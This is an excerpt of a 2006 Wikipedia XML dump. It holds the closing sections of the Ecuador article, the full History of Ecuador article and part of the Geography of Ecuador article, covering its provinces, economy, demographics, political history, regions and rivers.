*[[Carchi Province|Carchi]] ([[Tulcán]])
*[[Chimborazo Province|Chimborazo]] ([[Riobamba]])
*[[Cotopaxi Province|Cotopaxi]] ([[Latacunga]])
*[[El Oro Province|El Oro]] ([[Machala]])
*[[Esmeraldas Province|Esmeraldas]] ([[Esmeraldas (city)|Esmeraldas]])
*[[Galápagos Province|Galápagos]] ([[Puerto Baquerizo Moreno]])
*[[Guayas Province|Guayas]] ([[Guayaquil]])
*[[Imbabura Province|Imbabura]] ([[Ibarra]])
|
*[[Loja Province|Loja]] ([[Loja, Ecuador|Loja]])
*[[Los Ríos Province|Los Ríos]] ([[Babahoyo]])
*[[Manabí Province|Manabí]] ([[Portoviejo]])
*[[Morona-Santiago]] ([[Macas]])
*[[Napo Province|Napo]] ([[Tena]])
*[[Orellana Province|Orellana]] ([[Puerto Francisco de Orellana]])
*[[Pastaza Province]] ([[Puyo]])
*[[Pichincha Province|Pichincha]] ([[Quito]])
*[[Sucumbíos]] ([[Nueva Loja]])
*[[Tungurahua Province|Tungurahua]] ([[San Juan de Ambato|Ambato]])
*[[Zamora-Chinchipe]] ([[Zamora]])
|}

== Economy ==
''Main article: [[Economy of Ecuador]]''

Ecuador has substantial [[petroleum]] resources and rich agricultural areas. Because the country exports primary products such as oil, [[banana]]s, and [[shrimp]], fluctuations in world market prices can have a substantial domestic impact. Industry is largely oriented to servicing the domestic market. Deteriorating economic performance in 1997-98 culminated in a severe economic and financial crisis in 1999. The crisis was precipitated by a number of external shocks, including the El Niño weather phenomenon in 1997, a sharp drop in global oil prices in 1997-98, and international emerging market instability in 1997-98. These factors highlighted the Government of Ecuador's unsustainable economic policy mix of large fiscal deficits and expansionary money policy and resulted in an 7.3% contraction of GDP, annual year-on-year inflation of 52.2% and a 65% devaluation of the national currency in 1999, which helped precipitate an unprecedented default on external loans later that year.

On [[January 9]], [[2000]], the administration of President Jamil Mahuad announced its intention to adopt the [[U.S. dollar]] as the official currency of Ecuador to address the ongoing economic crisis. Subsequent protest led to the removal of Mahuad from office and the elevation of Vice President Gustavo Noboa to the presidency. The adoption of the U.S. dollar as currency, as opposed to pegging a local currency to it, means that the benefits of [[seigniorage]] accrue to the U.S. economy whether or not there is any compensation for this.

The Noboa government confirmed its commitment to dollarize as the centerpiece of its economic recovery strategy. The government also entered into negotiations with the [[International Monetary Fund]] (IMF), culminating in the negotiation of a 12-month stand-by arrangement with the Fund. Additional policy initiatives include efforts to reduce the government's fiscal deficit, implement structural reforms to strengthen the banking system and regain access to private capital markets. Buoyed by high oil prices, the Ecuadorian economy experienced a modest recovery in 2000, with GDP rising 1.9%. However, 70% of the population lives below the [[poverty line]], more than double the rate of 5 years ago. Inflation in 2000 remained high at 96.1%, but the rate of inflation continues to fall. Monthly inflation in February 2001 was 2.9%.

== Demographics ==
''Main article: [[Demographics of Ecuador]]''

Ecuador's population is ethnically diverse. The largest ethnic group is comprised of ''[[Mestizo|Mestizos]]'', the mixed descendants of Spanish colonists and indigenous Amerindians, who constitute just over 65% of the population. [[Indigenous Peoples of the Americas|Amerindians]] are second in numbers and account for approximately a quarter of the current population, around 25%. Whites are mainly ''[[Spanish Criollo peoples|criollos]]'', the unmixed descendants of Spanish colonists, and account for 7%. The small [[Afro-Ecuadorian people|Afro-Ecuadorian]] minority &amp;mdash; including [[Mulatto]]s and ''[[zambo]]s'' &amp;mdash; constitutes the remainder.

Ecuadorians were heavily concentrated in the mountainous central highland region a few decades ago, however, today's population is divided about equally between that area and the coastal lowlands. Migration toward cities--particularly larger cities--in all regions has increased the urban population to about 55%. Due to an economic crisis in the late 1990s, more than 600,000 Ecuadorians [[emigration|emigrated]] to the U.S. and [[Europe]] from 2000 to 2001. The primary reasons for this were the economic and political upheaval that engulfed the country following Mahuad's ouster. Preferred destinations for emigrants include [[Spain]], the [[United States|U.S.]], and [[Italy]].
The tropical forest region to the east of the mountains remains sparsely populated and contains only about 3% of the population.

Although the constitution demands that 30% of gross revenue be dedicated to education, the government&amp;#8217;s stated goal is to dedicate 11% of the budget. It is estimated that [[gross domestic product]] (GDP) spending will reach 4% in 2003. The UN Children's Fund ([[UNICEF]]) places adult literacy at 90%, but notes that this rate has been stagnant for more than ten years. The UN Educational, Scientific, and Cultural Organization (UNESCO) reports that only 87% of the primary school teachers and 72% of high school teachers have received training. The public education system is tuition-free, and attendance is mandatory from ages five to fourteen. However, the Ministry of Education reports that only 10% of five year olds actually have access to daily education and that only 66% of youngsters finish six years of schooling. In rural areas, only 10% of the youngsters go on to high school. Ministry statistics give the mean number of years completed as 6.7. Ecuador has sixty one universities, many of which now offer graduate degrees, although only 18% of the faculty in public universities possess graduate degrees themselves. Public universities have an open admissions policy, but some departments have recently implemented admissions standards. The new Board of Higher Education (CONESUP) is working to promote the introduction of teacher evaluation and a national accreditation system. There are also more than 300 Higher Institutes, offering two to three years of post-secondary vocational or technical training. The Higher Education Reform Act transferred oversight of these poorly regulated institutes from the Ministry of Education to the CONESUP.

==Religion==
[[Image:Quito_SF.jpg|thumb|200px|Iglesia de San Francisco, [[Quito]], Ecuador]]
Around 94% of Ecuadorians are [[Roman Catholic]]. Much of the population is practicing and attend mass regularly. In the rural parts of Ecuador indigenous beliefs and [[Christianity]] have been fused together.

Like every Latin American nation, [[Protestant]] Evangelicalism has had massive growth, especially in the rural poor areas, though it has been met by many who are reluctant to convert. Other [[Christian]] groups like [[Jehovah's Witness]] number 50,843 (as of 2005) and is growing. [[Mormons]] have also seen increasing numbers.

There is a small [[Muslim]] minority numbering a couple of thousand. The [[Jew]]ish community numbers just over 1,000 individuals and is mostly of [[Germany|German]] origin.

== Culture ==
''Main article: [[Culture of Ecuador]]''

Ecuador's mainstream [[culture]] is defined by Ecuador's [[mestizo]] majority and, like their ancestry, is a mixture of [[Europe]]an and [[Amerindian]] influences infused with [[African]] elements inherited from [[Slavery|slave]] ancestors. Ecuador's [[indigenous]] communities are largely integrated into that mainstream culture to varying degrees, but some may also practise their own autochthonous cultures, particularly the more remote indigenous communities of the [[Amazon basin]].

Famous people born in Ecuador include painters [[Tábara]], [[Guayasamín]], [[Kingman]], [[Arauz]], [[Constanté]], [[Viteri]], [[Molinari]], [[Villacís]], [[Egas]], [[Villafuerte]] and [[Mena Franco]]; animator [[Mike Judge]]; poet and statesman [[José Joaquín de Olmedo]], scholar [[Benjamín Urrutia]], tennis player [[Pancho Segura]], speed-walker and Olympic gold medalist [[Jefferson Pérez]] and Singer [[Christina Aguilera]]

== Ecuador in Film ==
The [[Waorani]] tribe (located in Ecuador) will be heavily portrayed in the 2006 theatrical release of &quot;The [[End of the Spear]],&quot; the story about five missionaries speared to death, as told through the eyes of a Waorani tribesman.

The film ''[[Proof of Life]]'' (2000), starring [[Meg Ryan]] and [[Russell Crowe]], was filmed in Ecuador. The film, nontheless, takes place in a fictitious South American country named 'Tecala'. The guerrilla movement depicted in the film is reminiscent of [[Peru]]'s [[Shining Path]] or [[Colombia]]'s [[Revolutionary Armed Forces of Colombia|FARC]].

The 2005 film ''Crónicas'', starring [[John Leguizamo]] in his Spanish-language debut, is set and filmed entirely in Ecuador.

The 1980s film ''[[Vibes]]'', starring [[Cyndi Lauper]] and [[Jeff Goldblum]], was also shot in Ecuador. The Andean cities served as a backdrop for the film.

== See also ==
* [[Communications in Ecuador]]
* [[Ecuadorian-United States relations]]
* [[Foreign relations of Ecuador]]
* [[History of the Ecuadorian-Peruvian territorial dispute]]
* [[List of Ecuadorians]]
* [[List of Latin American artists]]
* [[Military of Ecuador]]
* [[Music of Ecuador]]
* [[Public holidays in Ecuador]]
* [[Reporters without borders]] world-wide press freedom index 2002: Rank 20 out of 139 countries
* [[Transportation in Ecuador]]

==External links==
{{sisterlinks|Ecuador}}
'''Government'''
*[http://www.presidencia.gov.ec Presidencia de la República], official  government site
*[http://www.supertel.gov.ec Superintendence of Telecommunications], Control telecommunications services 
'''General information'''
*[http://www.cia.gov/cia/publications/factbook/geos/ec.html CIA - The World Factbook - Ecuador]
*[http://lcweb2.loc.gov/frd/cs/ectoc.html Country Studies - Federal Research Division, Library of Congress - Ecuador] 1989 report
*[http://dmoz.org/Regional/South_America/Ecuador Open Directory Project - Ecuador] directory category
*[http://lanic.utexas.edu/la/ecuador/ LANIC] Ecuador page of the Latin American Network Information Center
*[http://schema-root.org/region/americas/south_america/ecuador/ Schema-root.org: Ecuador ] twenty two Ecuador topics, each with a current news feed
'''Tourism'''
*[http://www.darwinadventure.com Galapagos Islands] travel guide
*[http://www.galapagosmap.com Galapagos map] map and travel guide
*[http://www.ecuador.us About Ecuador] guide
*[http://www.anytravels.com/south_america/ecuador/ Ecuador AnyTravels Overview] travel guide
*[http://www.exploringecuador.com Exploring Ecuador] Ecuador and Galapagos Travel Guide and map center
*[http://www.ecuaworld.com Ecuador and Galapagos Travel Guide]
*[http://www.destination360.com/south-america/ecuador/index.php Ecuador and Galapagos Islands Virtual Tours]

'''Other'''
*[http://www.google.com.ec Google Ecuador]
*[http://www.nic.ec/nicec.htm Registro de Dominios .EC del Ecuador], [[ccTLD]] [[Network Information Centre]]

{{South_America}}

[[Category:Ecuador| ]]
[[Category:South American countries]]

{{Link FA|fr}}

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    </revision>
  </page>
  <page>
    <title>History of Ecuador</title>
    <id>9335</id>
    <revision>
      <id>40363071</id>
      <timestamp>2006-02-20T01:47:43Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">This is the '''[[history]] of [[Ecuador]]'''. See also the [[history of South America]] and the [[history of present-day nations and states]].

==Pre-Columbian times and colonization==
It is believed that Native Americans originated in Asia and that they entered the Western hemisphere via the Bering Strait approximately 50,000 years ago.  Their descendants dispersed south and in time formed diverse civilizations.

16,000 to 18,000 years ago, the first Native Americans arrived to what is now Ecuadorian territory.  The best-known ancient cultures of the Costa are: Las Vegas, Chorrera, Machalilla, Valdivia, Jambelí, Guangala, Bahía, Jama-Coaque, and La Tolita; of the Sierra: El Angel, Tuncahuán, Chaullabamba, Narrio, Cotocollao, and Carchi.  In the period of &quot;Integration,&quot; many of these cultures unite and new ones form.  In the Costa the following cultures develop: Milagro-Quevedo, Atacames, Manteña, Huancavilca, Jama-Coaque II, and Chirije.  In the Sierra the following cultures develop: Palta, Cañari, Puruha, Cayambe, Panzaleo, Caranqui, Otavalo, Pastos, and Quillacinga.  In the Oriente the following cultures develop: Napo and Cotococha.

The political history of the natives of Ecuador before the Spanish conquest is based in large part on speculation.  The natives had no written languages.  Their history was passed on orally to their descendants.  Except for the two or three generations before the arrival of the Spanish, the accounts narrated by the natives cannot be recognized as true.  What has been proven is that indigenous tribes had a politcal-military order under the command of the cacique.  For the most part, it can be said that various &quot;kingdoms&quot; existed,and that the cacique was the equivalent of a &quot;king.&quot;  One of the tribes organized in that way is what can be categorized as the &quot;Kingdom of Quito.&quot;  The &quot;Shyris&quot; of Quito never integrated their &quot;kingdom&quot; to other tribes that now constute Ecuador.  Only to defend their territory did they confederate to other tribes.

The population of the territory that is now Ecuador was from 300,000 to 350,000 inhabitants when the Spanish arrived.  The diseases (smallpox, measles, and influenza) brought by the Europeans, and the physical abuse exercised by them, enormously reduced the indigenous population.  Until the mid-fifteenth century, the number of inhabitants decreased even with the immigration of Europeans and the importation of African slaves.  The introduction of horses, cattle, sheep, domestic birds, European fruit plants, and technology like the wheel, the plough, and iron tools, helped much to sustain the inhabitants.

In 1531, the [[Spain|Spanish]] [[conquistadors]] under [[Francisco Pizarro]] arrived and defeated the Inca Emperor [[Atahualpa]] and his army during the [[Battle of Cajamarca]] in [[1532]]. In subsequent years the Spanish colonists became the new elite. The indigenous population was decimated by disease in the first decades of Spanish rule; a time when the natives also were forced into the &quot;[[encomienda]]&quot; labor system for Spanish landlords. In [[1563]], [[Quito]] became the seat of a royal ''audiencia'' (administrative district) of Spain.

==Independence==
On [[August 10]], [[1809]], after nearly 300 years of Spanish colonization, there took place in [[Quito]], which at the time had a population of about 10,000, the first serious revolt against established rule, when a group of nobles and landholders set up a ''Junta'', refusing to recognize the colonial authorities, claiming [[Ferdinand VII]] was the legitimate King of [[Spain]]. Historians debate whether this was a true attempt at obtaining ''independence'' from Spain. Be that as it may, the members of the Junta found little support, either in other cities of the [[Real Audiencia de Quito]], or even among the lower classes in Quito, and were soon arrested by colonial troops sent from [[Lima]].

After the Patriotic armies led by Venezuelan-born General [[Antonio Jose de Sucre]] defeated the royalist forces in the [[Battle of Pichincha]] (May 24, [[1822]]), the provinces of the former Audiencia de Quito joined [[Simon Bolivar]]'s Republic of [[Colombia]], but on [[May 13]], [[1830]], they seceded from Colombia and established a new nation, the Republic of Ecuador.

==Ecuador in the 19th and 20th centuries==
The [[19th century]] was marked by instability, with a rapid succession of rulers. The conservative [[Gabriel Garcia Moreno]] unified the country in the [[1860]]s with the support of the Catholic Church. In the late 19th century, world demand for [[cocoa]] and [[rubber]] tied the economy to commodity exports and led to migrations from the highlands to the agricultural frontier on the coast, while fostering a [[slavery]]-based economy of rubber extraction in the Oriente.

A coastal-based liberal [[revolution]] in [[1895]] under [[Eloy Alfaro]] reduced the power of the [[clergy]] and opened the way for capitalist development. The end of the cocoa boom produced renewed political instability and a military [[coup d'etat|coup]] in [[1925]]. The [[1930s]] and [[1940s]] were marked by populist politicians, such as five-time president [[Jose Maria Velasco Ibarra]]. In January [[1942]], Ecuador signed the Rio Protocol to end the [[Ecuadorian-Peruvian War]] with Peru the year before. Ecuador agreed to a border that conceded to [[Peru]] much territory Ecuador previously had claimed in the [[Amazon basin]].

==After WWII==
After [[World War II]], a recovery in the market for agricultural commodities and the growth of the [[banana]] industry helped restore prosperity and political peace. From [[1948]]-[[1960|60]], three presidents - beginning with Galo Plaza Lasso - were freely elected and completed their terms.

Recession and popular unrest led to a return to populist politics and domestic military interventions in the [[1960s]], while with the discovery of [[petroleum|oil]] in the [[1970s]] foreign companies started to develop oil resources in the Ecuadorean Amazon. In [[1972]], a nationalist military regime overthrew [[José María Velasco Ibarra]] for the last time and used the new oil wealth and foreign borrowing to pay for a program of [[industrialization]], land reform, and subsidies for urban consumers. With the oil boom fading, Ecuador returned to [[democracy]] in [[1979]], under the first Ecuadorean president of the 1979 [[constitution]], [[Jaime Roldós Aguilera]] who, with his Popular Forces' Concentration (CFP) party, won a decisive victory against [[Sixto Durán Ballén]] of the Social Christian Party (PSC).  After a leadership disagreement with [[Asaad Bucaram]], the then leader of the CFP, Roldós left the above-mentioned party to found his own along with his wife.  This Roldós-founded party, called &quot;People, Change and Democracy&quot; (PCD), would become an unimportant third-runner in Ecuadorean politics when [[Abdalá Bucaram Ortiz]]'s [[Guayaquil]]-based Ecuadorean Roldosísta Party (PRE) was founded in [[1982]].  In January [[1981]], the country went through yet another episode in its long-standing border dispute with [[Peru]] (see [[History of the Ecuadorian-Peruvian territorial dispute]], during the so-called [[Paquisha Incident]], which saw Peruvian troops expelling Ecuadorian soldies from three outposts located in the disputed and undemarcated zone.

By the end of the year 1981, Vice President [[Osvaldo Hurtado Larrea]], member of the Popular Democracy Party, (DP) succeeded Roldós after the President died in a plane crash.  Due to the economic pressure of war and over-reliance in commodity (particularly oil) exporting for its economic needs, the government of Osvaldo Hurtado faced a chronic economic crisis in [[1982]], including [[inflation]], budget deficits, a falling currency, mounting debt service, and uncompetitive industries.

The [[1984]] presidential elections were narrowly won by [[León Febres-Cordero Ribadeneira]], of the Social Christian Party (PSC). During the first years of his administration, Febres-Cordero introduced free-market economic policies, took a strong stand against [[drug-trafficking]] and [[terrorism]], and pursued close relations with the [[United States]]. His tenure was marred by bitter wrangling with other branches of Government and his own brief kidnapping by elements of the military. A devastating [[earthquake]] in March [[1987]] interrupted oil exports and worsened the country's economic problems.

[[Rodrigo Borja Cevallos]] of the Democratic Left (ID) party won the presidency in [[1988]], running in the runoff election against Abdalá Bucaram of the PRE. His government was committed to improving [[human rights]] protection and carried out some reforms, notably an opening of Ecuador to foreign trade. The Borja government concluded an accord leading to the disbanding of the small terrorist group, &quot;¡Alfaro Vive, Carajo!&quot; (&quot;Alfaro Lives, Dammit!&quot;) named after [[Eloy Alfaro]]. However, continuing economic problems undermined the popularity of the ID, and opposition parties gained control of Congress in [[1990]].

In [[1992]], Sixto Durán Ballén won in his third run for the presidency. His tough [[macroeconomics|macroeconomic]] adjustment measures were unpopular, but he succeeded in pushing a limited number of modernization initiatives through Congress. Durán Ballén's vice president, Alberto Dahík, was the architect of the administration's economic policies, but in [[1995]], Dahík fled the country to avoid prosecution on [[political corruption|corruption]] charges following a heated political battle with the opposition. A war with Peru (named [[Cenepa War|the Cenepa War]], after a river located in the area) erupted in January-February 1995 in a small, remote region, where the boundary prescribed by the 1942 Río Protocol was in dispute.

==Recent times==
[[Abdalá Bucaram]], from the PRE, won the presidency in [[1996]] on a platform that promised populist economic and [[social reform]]s and the breaking of what Bucaram referred to as the power of the nation's [[oligarchy]]. During his short term of office, Bucaram's administration drew criticism for corruption. Bucaram was deposed by the Congress in February [[1997]] on grounds of alleged mental incompetence. In his place, Congress named interim President [[Fabián Alarcón]], who had been President of Congress and head of the small Radical Alfarista Front (FRA) party. Alarcón's interim presidency was endorsed by a May 1997 popular referendum. During Alarcón's presidency, a new constitution was drafted. The 1979 constitution would be replaced by this new constitution without coming into effect on [[June 5]], [[1998]].

Congressional and first-round presidential elections were held on [[May 31]], 1998. No presidential candidate obtained a majority, so a run-off election between the top two candidates - Quito Mayor [[Jamil Mahuad]] of the DP and Social Christian Álvaro Noboa Pontón - was held on [[July 12]], 1998. Mahuad won by a narrow margin. He took office on [[August 10]], 1998. On the same day, Ecuador's new constitution came into effect.

Mahuad concluded a well-received peace with [[Peru]] on [[October 26]], 1998, but increasing economic, fiscal, and financial difficulties drove his popularity steadily lower. However, the coup de grace for Mahuad's administration was Mahuad's decision to make the indigenous currency, the [[sucre]] (named after a Venezuelan hero of the revolutionary war against Spain), obsolete and replace it with the [[U.S. dollar]] (a policy called [[dollarization]]). This caused massive unrest as the lower classes struggled to convert their now useless sucres to U.S. dollars and lost wealth, while the upper classes (whose members already had their wealth invested in U.S. dollars) gained wealth in turn. 

On [[January 21]], [[2000]], during demonstrations in Quito by indigenous groups, the military and police refused to enforce public order. Demonstrators entered the National Assembly building and declared, in a move that resembled the [[coup d'etat|coups d'etat]] endemic to Ecuadorean history, a three-person &quot;[[junta]]&quot; in charge of the country. Field-grade military officers declared their support for the concept. During a night of confusion and failed negotiations President Mahuad was forced to flee the presidential palace for his own safety. Vice President [[Gustavo Noboa]] took charge by vice-presidential decree; Mahuad went on national television in the morning to endorse Noboa as his successor. The military triumvirate that was effectively running the country also endorsed Noboa.  The Ecuadorean Congress then met in an emergency session in [[Guayaquil]] on the same day, [[January 22]], and ratified Noboa as President of the Republic in constitutional succession to Mahuad.  Although [[Ecuador]] began to improve economically, the government of Noboa came under heavy fire for the continuation of the [[dollarization]] policy, its disregard for social problems and other important issues in Ecuadorean politics.  

On [[January 15]], [[2003]], retired Colonel [[Lucio Gutiérrez]], a member of the military junta that overthrew president Jamil Mahuad in [[2000]], assumed the presidency of Ecuador. He campaigned against corruption. Gutierrez's [[Social Patriotic Party]] had a small fraction of the seats in Congress and therefore depended on the support of other parties in Congress to pass legislation. In April [[2005]], President [[Lucio Gutiérrez]] was overthrown following weeks of public protests resulting from his unconstitutional dissolution and appointment of new judges to the Supreme Court in December [[2004]]. This move was generally seen as a kickback to deposed ex-President Bucarám whose political party (the PRE) had sided with Gutiérrez and helped derail attempts to impeach him in late 2004. The new Supreme Court dropped charges of corruption pending against the exiled Bucarám, who soon returned to the politically unstable country.  The [[political corruption|corruption]] evident in these maneuvers finally led the populace to seek the ouster of Gutiérrez in April. Vice President Palacio assumed the Presidency and vowed to complete the term of office and hold elections in [[2006]]. Palacio has promised to select a new Supreme Court through a transparent process.

==See also==
* [[Ecuador]]
* [[History of South America]]
* [[History of the Ecuadorian-Peruvian territorial dispute]]

The information in Pre-Columbian Times and Colonization is translated from Cronología de la Historia Resumida del Ecuador By Alfredo Tinajero Cevallos and Amparo Barba González.  This is available at http://users.erols.com/tinajero/

==External links==
* [http://www.state.gov/r/pa/ei/bgn/35761.htm  U.S. State Department Background Note: Ecuador]

{{South America in topic|History of}}

[[Category:History of Ecuador]]
[[Category:History of South America]]

[[bn:ইকুয়েডোরের ইতিহাস]]
[[ca:Història de l'Equador]]
[[de:Geschichte Ecuadors]]
[[es:Historia del Ecuador]]
[[fr:Histoire de l'Équateur]]
[[ja:エクアドルの歴史]]
[[pt:História do Equador]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Ecuador</title>
    <id>9336</id>
    <revision>
      <id>40430963</id>
      <timestamp>2006-02-20T14:22:01Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.236.31.29|205.236.31.29]] ([[User talk:205.236.31.29|talk]]) to last version by *drew</comment>
      <text xml:space="preserve">[[Image:Ec-map.png|300px|thumb|Map of Ecuador]] 
[[Image:Ecuador bridgeoverthePastazas2.JPG|thumb|Bridge over the river Pastazas between Puyo and Macas, Ecuador]]
[[Image:EcuadorianAndesAboveCloads.jpg|thumb|Ecuadorian highland. Photo: Roar Johansen]]
[[Image:Imbabura des del sud.JPG|thumb|220px|Mount Imbabura (Ecuador) from south-east]]
[[Image:Imbabura Ecuador.jpg|thumb|Imbabura, Imbabura Province, Ecuador]]
[[Image:Ecuador aguablanca sulfur laguna.jpg|thumb|Sulfur laguna on the site of AguaBlanca, Machalilla National Park, Ecuador]]
[[Image:Ecuador ParamosnearAmbato.JPG|thumb|200px|Paramo meadows near Ambato, Ecuador]]
[[Image:Ecuador Pastazas near Banos.JPG|thumb|Pastazas river near Baños, Ecuador]]
[[Image:Ecuador Chimborazo fromnorthwest.JPG|thumb|The volcano Chimborazo from the Northwest]]

'''[[Ecuador]]''' is a country in Western [[South America]], bordering the [[Pacific Ocean]] at the [[Equator]] (for which the country is named), between [[Colombia]] and [[Peru]]. Ecuador is one of the smaller countries in South America. Located on the west coast and straddling the equator, Ecuador has a total area of about 280,000 square kilometers, which includes the Galápagos Islands. Roughly the size of the state of Colorado, Ecuador encompasses a wide range of natural formations and climates, from the desertlike southern coast to the snowcapped peaks of the Andes Mountains to the plains of the Amazon River Basin.

Ecuador is bounded on the west by the Pacific Ocean, on the north by Colombia, and on the east and south by Peru. Ecuador continues to contest the boundary with Peru, which was established by the Protocol of Peace, Friendship, and Boundaries (Rio Protocol) of 1942 and ceded to Peru a large portion of territory east of the Andes. 

{{coor dm|2|00|S|77|30|W|type:country}}

==Area==
* total: 283,560 km&amp;sup2;
* land: 276,840 km&amp;sup2;
* water: 6,720 km&amp;sup2;
: ''note:'' includes [[Galápagos Islands]]

==Land boundaries==
* total: 2,010 km
* border countries: [[Colombia]] 590 km, [[Peru]] 1,420 km
* Coastline: 2,237 km

== Maritime claims==
* continental shelf: claims continental shelf between mainland and Galapagos Islands 
* territorial sea: 200 nm

==Cities==
* Capital: [[Quito]] (population 1.4 million) 
* Other cities: [[Guayaquil]] (2.0 million)
*               [[Cuenca (Ecuador)|Cuenca]]     (0.41 million 2001)
*               [[San Juan de Ambato|Ambato]]     (0.28 million 2001)
*               [[Portoviejo]] (0.23 million 2001)
*               [[Machala]]    (0.21 million 2001)
*               [[Loja, Ecuador|Loja]] (0.14 million 2001)

==Geographical regions==
Ecuador is divided into three continental regions--the Costa, Sierra, and Oriente--and one insular region--the Galápagos Islands. The continental regions extend the length of the country from north to south and are separated by the Andes Mountains. The Galápagos Islands, officially called the Archipiélago de Colón, are located 1,000 kilometers west of the Ecuadorian coast within 1 south of the equator.

===[[Galápagos Islands]]===
An island archipelago in the [[Pacific Ocean]] about 1,000 km west of the mainland; famed for the studies by [[Charles Darwin]] that  led to his theory of [[natural selection]] as a means of [[evolution]].

===La Costa (the coast)=== 
The western coastal area of Ecuador, bordering the [[Pacific Ocean]], rising from coastal plain with many [[mangrove|mangroves]], although many of these have now been destroyed by [[shrimp farming]], to the foothills of the [[Andes]] Mountains to the east; many [[banana]], [[cacao]] and [[coffee]] plantations, as well.  [[Guayaquil]], located on the southern part of the coast is the biggest city of the country, with some beautiful beaches and an ocean port. In the north coast of Ecuador the port of Balao in [[Esmeraldas (city)|Esmeraldas]] is used for oil export and the port of [[Manta]] is used by the [[United States Air Force]] as a control point for narcotics traffic control.

===La Sierra (the highlands)=== 
The central belt of Ecuador that includes the high [[Andes]] Mountains, inland from the coast; with volcanoes and mountain peaks that sport year-round snow on the [[equator]]; many areas long since deforested by agriculture; a number of cut-flower growing operations; at a certain altitude zone may be found the [[cloud forest|cloud forests]].

The northern Ecuadorian Andes are divided into three parallel [[cordillera]]s that run in what is similar to an S shape from north to south: the western, central and eastern cordilleras. The cordilleras were formed earlier in the [[Cenozoic]] era (the current geological era), as the [[Nazca Plate]] has [[subduction|subduct]]ed underneath the [[South American Plate]] and has raised the mountain range. In the south, the cordilleras are not well defined.

[[Quito]], the capital city, is located in a high mountain valley on the foothills of the [[Pichincha (volcano)|Pichincha]]. The town of [[Baños]] features [[hot spring]]s swimming pools on the foothills of the [[Tungurahua]] in the Central Cordillera. The road from Baños to Puyo has long been known for its narrowness, curves and sheer drops (only one lane in some places, in one area, actually cut into the side of a cliff so that the cliff roofs over it). The most important east-west road across the Andes is the road from Quito to Lago Agrio, which is unpaved for most of its length yet is heavily traveled by tractor-trailers -- and the Trans-Ecuadorian Oil Pipeline serves as the guardrail for long stretches of this road!

====Notable Mountains and Volcanoes====
* [[Mount Chimborazo|Chimborazo]] (6,267 m) extinct volcano, the furthest point from the earth's center
* [[Cotopaxi]] (5,897 m) one of the world's highest active volcanoes ([[Ojos del Salado]], in Chile, at 6,887 is the highest active volcano in the world)
* [[Tungurahua]] (5,023 m)
* [[Pichincha (volcano)|Pichincha]] (4,784 m) volcano overlooking Quito

Partial, incomplete table of volcanoes in the north of the Ecuadorian Andes, from north to south
{| border cellspacing=0
| West || Interandean || Center || East 
|-
| Chiles&lt;br&gt;Yanaurcu&lt;br&gt;[[Pichincha (volcano)|Pichincha]]&lt;br&gt;Atacazo&lt;br&gt;[[Corazón]]&lt;br&gt;Carihuairazo&lt;br&gt;[[Mount Chimborazo|Chimborazo]] || Imbabura&lt;br&gt;Mojanda&lt;br&gt;Ilaló&lt;br&gt;Pasochoa&lt;br&gt;[[Rumiñahui]]&lt;br&gt; || [[Cayambe (volcano)|Cayambe]]&lt;br&gt;Saraurcu&lt;br&gt;Pambamarca&lt;br&gt;Filocorrales&lt;br&gt;[[Antisana]]&lt;br&gt;Sincholahua&lt;br&gt;[[Cotopaxi]]&lt;br&gt;[[Tungurahua]]&lt;br&gt;[[El Altar|Altar]]|| Soche&lt;br&gt;Sumaco&lt;br&gt;[[Reventador]]&lt;br&gt;[[Sangay]]
|}

===El [[Oriente (Ecuador)|Oriente]] (the East)=== 
Much of the Oriente is [[tropical moist broadleaf forest]] (Spanish: ''la selva''), on the east slopes of the [[Andes]] Mountains and descending into the [[Amazon Basin]], with strikingly different upland rainforest with steep, rugged ridges and cascading streams (can be seen around [[Puyo]]) and lowland rainforest.  The oil fields are located in the Amazon basin, headquartered at [[Lago Agrio]]; some of the rainforest has been seriously damaged in this region and environmental degradation is severe, with catastrophic oil pollution in some areas.  Some 38% of Ecuador's land is forested[http://rainforests.mongabay.com/deforestation/2000/Ecuador.htm], and despite a 1.5% annual deforestation rate remains one of the most [[biodiversity|biodiverse]] locations on the planet.  The Oriente is also home to a large number of Ecuador's indigenous groups, notably the lowland [[Quechua]], [[Siona]], [[Secoya]], [[Huaorani]], and [[Cofán]].

In addition, Ecuador still lays claim to a large area of lowland rainforest to the east of this region, although Peru invaded it years ago and has held it ever since.

==Drainage==
Almost all of the rivers in Ecuador rise in the Sierra region and flow east toward the Amazon River or west toward the Pacific Ocean. The rivers rise from snowmelt at the edges of the snowcapped peaks or from the abundant precipitation that falls at higher elevations. In the Sierra region, the streams and rivers are narrow and flow rapidly over precipitous slopes. Rivers may slow and widen as they cross the hoyas yet become rapid again as they flow from the heights of the Andes to the lower elevations of the other regions. The highland rivers broaden as they enter the more level areas of the Costa and the Oriente.

In the Costa region, the Costa Externa has mostly intermittent rivers that are fed by constant rains from December through May and become empty riverbeds during the dry season. The few exceptions are the longer, perennial rivers that flow throughout the Costa Externa from the Costa Internal and the Sierra on their way to the Pacific Ocean. The Costa Internal, by contrast, is crossed by perennial rivers that may flood during the rainy season, sometimes forming swamps.

The Guayas River system, which flows southward to the Gulf of Guayaquil, constitutes the most important of the drainage systems in the Costa Internal. The Guayas River Basin, including land drained by its tributaries, is 40,000 square kilometers in area. The sixty-kilometer-long Guayas River forms just north of Guayaquil out of the confluence of the Babahoyo and Daule rivers. Briefly constricted at Guayaquil by hills, the Guayas widens south of the city and flows through a deltaic network of small islands and channels. At its mouth, the river forms a broad estuary with two channels around Puná Island, the deeper of which is used for navigation.

The second major Costa river system--the Esmeraldas--rises in the Hoya de Quito in the Sierra as the Guayllabamba River and flows westward to empty into the Pacific Ocean near the city of Esmeraldas. The Esmeraldas River is 320 kilometers long and has a 20,000-square-kilometer drainage basin.

